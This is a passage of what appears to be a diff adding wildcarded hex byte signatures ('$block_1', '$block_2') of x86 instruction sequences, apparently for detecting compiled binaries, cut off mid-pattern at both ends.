?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F AF ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F B6 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 35 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? BA ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 }
+		$block_2 = { 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 0F B7 ?? ?? 5? 0F B6 ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 6B ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? 5? 0F B6 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 0F B6 ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? BA ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? 